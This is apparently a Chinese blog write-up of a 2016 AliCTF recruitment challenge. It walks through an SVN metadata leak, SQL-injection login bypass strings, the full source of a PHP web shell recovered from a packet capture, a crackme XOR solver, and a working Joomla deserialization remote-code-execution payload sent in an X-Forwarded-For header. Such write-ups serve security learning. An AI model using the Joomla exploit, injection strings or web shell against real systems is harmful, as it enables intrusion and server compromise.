This is AliCTF?

aliCTF0

这算是今年的阿里CTF?昨天小伙伴在玩这个,我在研究0CTF的WEB题,今早知道真相的我眼泪掉下来。上周五刚面了一轮。。。

Step 0

上图中的base64解码呗。。

1
2
$ echo "aHR0cDovLzIxOC4yNDQuMTQzLjE5OC8=" | base64 -d
http://218.244.143.198/

打开来是一个 伪造? 的sqlmap网站,右键查看源码, 有一坨jsfuck,太长了,这里就不贴了。。直接丢F12里面的console运行,得到:

1
218.244.143.198/.svn/

那就svn泄露呗,记得以前做过这样的题,记不清楚了,google一下,

现实的开发环境中,强烈建议使用导出功能svn export而不是svn co。由此可能导致非常严重的问题,很多管理员直接吧svn co出来的代码直接放到web目录下。这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的“entries”文件,逐步摸清站点结构。

所以接下来就是访问 http://218.244.143.198/.svn/entries, 得到

1
2
12
This is lastest version SVN, U know wc.db?

然后访问 http://218.244.143.198/.svn/wc.db 把这文件下下来,这文件是svn的sqlite数据库,然后装了一个这个数据库的浏览器。

1
$ sudo apt-get install sqlitebrowser

然后用这个打开wc.db,然后关于这个数据库的问题网上随便都搜的到,然后找到一篇wp: http://bobao.360.cn/learning/detail/129.html
发现一个页面:66666/index.php 不过这wp中说的源码泄露没发现,所以直接去访问看看。。

好了。。。这时候该问。。最短的payload的是啥?讲道理,我觉得是 '=', 可是竟然不跟我讲道理。。。所以我觉得最短的是'=''#还有'||1# , 然后得到

1
Hack it to make money! GoGoGo~ http://218.244.143.198/zootopia/

。。这。。懵逼了一会,随便看了看默认的是啥。。。发现是一串md5: d41b8265807ce33038df2b3f7aa9fb10
丢cmd5上,接出来是aliyun, 试试,(⊙v⊙)。。。。对了
得到一个文件:c0ngrats.txt, 打开来看看,得知后面还有3题,和下一题的题目地址:http://218.244.143.198/static/backdoor.zip

Step 1

下载下来解压出来是一个数据包,数据流量审计题。。关于这类的题,我觉得很蛋疼。要不然很简单,比如http这样明文传输的协议的审计,要不然再难一点,加上802.11无线协议,但是这种爆破密码就没意思了,不设密码又太简单。要不然就是很难的审计加密协议。。所以hCTF的时候我就没出流量审计的题目。

这题呢,就属于那种就简单的把,先过滤出来http协议,然后发现第一个backdoor.php,然后整理了下这个后门的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
@ini_set("display_errors","0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo("->|");
$D=base64_decode($_POST["z1"]);
$F=@opendir($D);
if($F==NULL) {
echo("ERROR:// Path Not Found Or No Permission!");
} else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)) {
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P)) $M.=$N."/".$R;
else $L.=$N.$R;
}
echo $M.$L;
@closedir($F);
};
echo("|<-");
die();
?>

然后发现ip和该题的题目链接ip一样,去试试,没有这后门文件,那就从数据包入手。右击 -> Follow TCP Stream
得到另一个文件wllm, 访问得

1
find data package careful, you will find next level url , that will be a crackme

所以说下一题的入口还是在数据包里。。。看着一坨的http包,好吧,继续过滤 http && ip.addr==218.244.143.198
然后从第四个POST包中的参数z2中得到下一题的入口:

1
2
$ echo "YUhSMGNEb3ZMekl4T0M0eU5EUXVNVFF6TGpFNU9DOXpkR0YwYVdNdlkzSmhZMnR0WlE9PQ==" | base64 -d| base64 -d
http://218.244.143.198/static/crackme

Step 2

linux64位逆向题呗。。。比Z神出的简单多了,直接丢到ida中,F5,关键部分如图所示
aliCTF1
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# crack.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

secret = [0x8, 0x45, 0x0A, 0x42, 0x4b, 0x31, 0x6d, 0x2f, 0x52, 0x0b, 0x16, 0x23]
secret1 = [0x73, 0x64, 0x66, 0x23, 0x6b, 0x6c, 0x25, 0x72, 0x29, 0x6b, 0x73, 0x6b]
result = ""

for x in range(12):
tmp = secret[x] ^ secret1[x] ^ 0xF
result += chr(tmp)

result += "a"
print result
# $ python crack.py | ./crackme
# I want ur password:Yes!
# $ python crack.py
# t.cn/RGRtojGa

去掉最后的a,就是下一题的入口了

Step 3

http://112.124.106.246/7fbde8d70c816033/index.php
打开来一看是…..Joomla。。。。。。。。。。
0CTF的piapiapia那题搜关于php序列化的漏洞搜出来的全是这个博客的反序列化截断漏洞。。。。
然后发现这漏洞阿里云还写了分析报告,好了。。。估计就是这洞了。。。
payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# payload.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests

url = "http://112.124.106.246/7fbde8d70c816033/index.php"
header = {
"X-Forwarded-For": '}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";b:1;}\xf0',
}

req = requests.get(url, headers=header)
print req.content
# $ python payload.py
# Success! key:xxxxxxxxxxxxxxxxxxxxx 发简历时附加此key有加分

撸了两节课撸完了。。。还是继续研究0CTF去了。。

Author

Hcamael

Posted on

2016-03-15

Updated on

2019-07-26

Licensed under